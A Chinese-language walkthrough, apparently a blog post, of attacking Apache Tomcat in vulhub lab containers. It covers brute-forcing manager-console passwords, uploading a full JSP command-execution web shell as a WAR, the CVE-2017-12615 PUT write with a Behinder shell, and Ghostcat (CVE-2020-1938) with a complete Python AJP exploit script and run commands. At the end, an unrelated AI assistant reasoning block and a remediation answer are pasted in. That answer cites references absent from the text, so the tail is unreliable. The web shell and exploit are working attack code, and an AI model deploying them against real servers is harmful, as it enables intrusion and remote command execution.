tomcat中间件漏洞

目录

 

一、搭建环境:

二、tomcat 特征

404页面:

开放端口

路径信息

三、tomcat漏洞

1.控制台弱口令

利用

2.PUT写文件漏洞

原理

搭建环境:

2.AJP文件包含

搭建环境


 

一、搭建环境:

还是vulhub复现漏洞,这里使用docker拉取容器环境。

cd /root/vulhub-master/tomcat/tomcat8/
docker-compose up -d

拉取完成后访问目标ip:8080

看到这个页面说明访问成功。

二、tomcat 特征

404页面:

开放端口

Tomcat默认使用8080(HTTP)、8005(SHUTDOWN端口)、8009(AJP协议)。

路径信息

管理界面:
/manager/html:Tomcat管理控制台(需认证)。
/host-manager:虚拟主机管理界面。

特定文件:
/favicon.ico:Tomcat的默认图标(可通过哈希识别)。

三、tomcat漏洞

1.控制台弱口令

首先访问一下<IP>:8080/manager/html

然后随便输入一点东西抓包。

请求包是这样的:

红线部分很像base64编码,拿去解码,发现就是base64传输数据的特征。

那就可以进行爆破了。

在burp中导入字典,设置前缀和base64编码规则,然后开始爆破即可。

这里可以看到响应码为200,爆破成功。

在输入框输入账号密码即可登录管理员账户进行管理后台

利用

上传一个test.jsp的shell上去

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>

使用命令将test.jsp文件打包

jar -cvf 打包的名字.war 指定的jsp文件.jsp

打包成功会在同级目录下生成一个.war文件。

然后在这里点击上传,上传成功后点击部署。

部署成功后访问<IP>:8080/war包名/jsp文件名

这里可以直接输入命令进行命令执行。

2.PUT写文件漏洞

原理

漏洞的原因:Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件,其配置文件如下:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

和webdev差不多。

搭建环境:

cd /root/vulhub-master/tomcat/CVE-2017-12615/
docker-compose up -d

然后访问<IP>:8080即可。

在这个页面抓一个包,然后修改传参方式为PUT方式,路径写你要在目标服务器上创建的文件名,Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

这里直接访问1.jsp可以看到已经写入了进去。

现在使用冰蝎进行生成木马并连接服务器。协议名称选择aes,key可以改成其它的(不改也行),然后点击生成服务端。

创建好后会自动弹出文件夹,找到shell.jsp,复制粘贴即可。

然后用刚才的方法写入服务器。

然后使用冰蝎连接

2.AJP文件包含

攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

注意:此漏洞是针对的AJP协议(8009端口)进行攻击,如果目标服务器未暴露8009端口则无法利用

搭建环境

cd /root/vulhub-master/CVE-2020-1938/
docker-compose up -d

流程就是先御剑或者nmap扫描一下开放端口

这里发现8009端口是开放状态,可以进行尝试AJP文件包含。

这里推荐一款tomcat综合利用工具。

再推荐一款漏洞利用脚本AJP_exp.py,脚本代码如下:

#!/usr/bin/env python2
# CNVD-2020-10487  Tomcat-Ajp lfi
# Based on: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
#
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
import socket
import struct
import argparse


def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)


def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)


def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1:  # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1)  # \0
    return res


class NotFoundException(Exception):
    pass


class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction

    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res

    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break


class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
        28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD,
                       'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                      ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route",
                  "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction

    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res

    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res

    def parse(self, raw_packet):
        stream = StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res


class AjpResponse(object):
    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(
        7)
    COMMON_SEND_HEADERS = [
        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    ]

    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000:  # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length+1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r


def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[], lfi=False):
        if lfi:
            self.req_uri = req_uri + '.jspx'
        else:
            self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(
            self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" %
              (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                "%s:%s" % (user, password)).encode('base64').replace('\n', '')
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(
            self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" %
                  snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res


parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009,
                    help="AJP port to attack (default is 8009)")
parser.add_argument('-w', '--webapp', type=str, default='ROOT',
                    help="Which webapp to attack (default is ROOT")
parser.add_argument('-f', '--file', type=str,
                    default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('-l', '--lfi', action="store_true",
                    help="local file include")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request('/'+args.webapp+'/', attributes=[
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.servlet_path', '/']},
], lfi=args.lfi)
print('----------------------------')
print("".join([d.data for d in data]))

使用命令是

python2 exp.py 目的IP -p AJP端口 -w 读取文件的目录 -f 读取的文件名

不进行指定文件的话就是默认

在靶场创建一个1.jpg,里面写上test。

docker exec -it c476241cc820 bash  //进入容器环境
cd webapps/ROOT  //进入tomcat默认目录
echo '<%= "test"%>' >1.jpg   //创建1.jpg文件

然后访问一下

可以看到根本不解析,现在使用刚才的工具AJP_exp.py包含一下试试:

python AJP_exp.py 192.168.117.131 -p 8009 -f 1.jpg
//读取1.jpg
python AJP_exp.py 192.168.117.131 -p 8009 -f 1.jpg -l
//执行1.jpg

 

 

 

<think>好的,我现在需要处理用户关于Tomcat中间件漏洞修复方案和安全更新的查询。首先,我得回忆一下用户提供的引用内容,看看有哪些相关信息可用。引用1提到了Tomcat中间件漏洞,可以通过检测服务器和页面内容来识别。引用2和3是关于启动测试环境的步骤,可能涉及漏洞复现的方法。引用4提到了Apache Unomi的漏洞,但可能与Tomcat无关,暂时不考虑。引用5是一篇深入讲解Tomcat常见漏洞的文章,应该包含具体的漏洞类型和修复方法。 接下来,我需要确定用户的需求:他们想了解Tomcat中间件漏洞信息及对应的修复方案和安全更新。因此,回答需要涵盖常见的Tomcat漏洞类型、每个漏洞的修复方法,以及通用的安全建议。 首先,整理常见的Tomcat漏洞。根据引用5提到的内容,可能包括远程代码执行漏洞、权限绕过漏洞、拒绝服务漏洞等。比如CVE-2017-12615(PUT方法上传恶意文件)和CVE-2020-1938(Ghostcat漏洞)都是常见的例子。需要详细说明每个漏洞的影响、检测方法和修复步骤。 然后,修复方案方面,需要强调升级到官方最新版本,禁用危险配置(如PUT方法),以及加强访问控制。安全更新部分应指导用户如何获取官方补丁,并参考CVE编号进行针对性修复。 还要考虑用户可能的环境配置问题,比如引用2和3中提到的docker环境启动步骤,可能是在测试漏洞时需要用到,但修复时可能需要关闭或更新这些环境。同时,引用4提到的Unomi漏洞虽然不相关,但提醒我要专注于Tomcat相关的内容。 最后,生成相关问题,确保问题与Tomcat漏洞相关,帮助用户进一步探索。例如,如何检测Tomcat是否存在漏洞漏洞复现步骤,或者与其他中间件漏洞的对比。 需要确保回答结构清晰,分点列出漏洞类型和修复措施,引用正确的来源,比如引用1、2、3、5中的信息。同时,避免引用不相关的Unomi内容。还要检查LaTeX格式是否正确,但根据用户的问题,可能数学表达式不多,不过如果有版本号或代码块,需要适当格式化。</think>### Tomcat中间件漏洞修复方案及安全更新 #### 一、常见漏洞类型及修复方案 1. **远程代码执行漏洞(如CVE-2017-12615)** - **漏洞描述**:攻击者通过PUT方法上传恶意JSP文件实现代码执行[^5]。 - **修复方案**: - 升级至Tomcat 7.0.85+、8.5.47+或9.0.0.M21+版本[^1]。 - 禁用PUT方法:修改`conf/web.xml`,限制`readonly`参数为`true`。 2. **Ghostcat漏洞(CVE-2020-1938)** - **漏洞描述**:通过AJP协议读取/写入Web应用文件,导致信息泄露或代码执行。 - **修复方案**: - 升级至Tomcat 9.0.31+、8.5.51+或7.0.100+版本。 - 关闭AJP协议:注释`conf/server.xml`中的AJP Connector配置[^3]。 3. **权限绕过漏洞(如CVE-2023-28709)** - **漏洞描述**:特定请求可绕过安全限制访问敏感资源。 - **修复方案**: - 更新至Tomcat 10.1.7+、9.0.74+或8.5.85+版本。 - 配置严格的URL访问规则。 #### 二、通用安全建议 1. **版本升级** - 定期检查并升级至[Apache Tomcat官方最新版本](https://tomcat.apache.org/),历史版本漏洞可通过CVE数据库查询。 2. **配置加固** - 关闭不必要的服务(如AJP、管理接口默认账号)[^2]。 - 限制文件上传功能,避免使用默认路径存放应用。 3. **访问控制** - 使用防火墙限制Tomcat管理端口(如8080、8009)的访问范围。 - 修改默认账号密码(避免使用`tomcat:tomcat`等弱凭证)。 #### 三、漏洞复现与验证 1. **测试环境搭建** ```bash cd vulhub-master/tomcat/tomcat8 docker-compose up -d # 启动漏洞测试容器[^3] ``` 2. **漏洞验证工具** - 使用Nmap检测服务标识:`nmap -sV --script="http-server-header"`,匹配`Apache Tomcat`特征。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值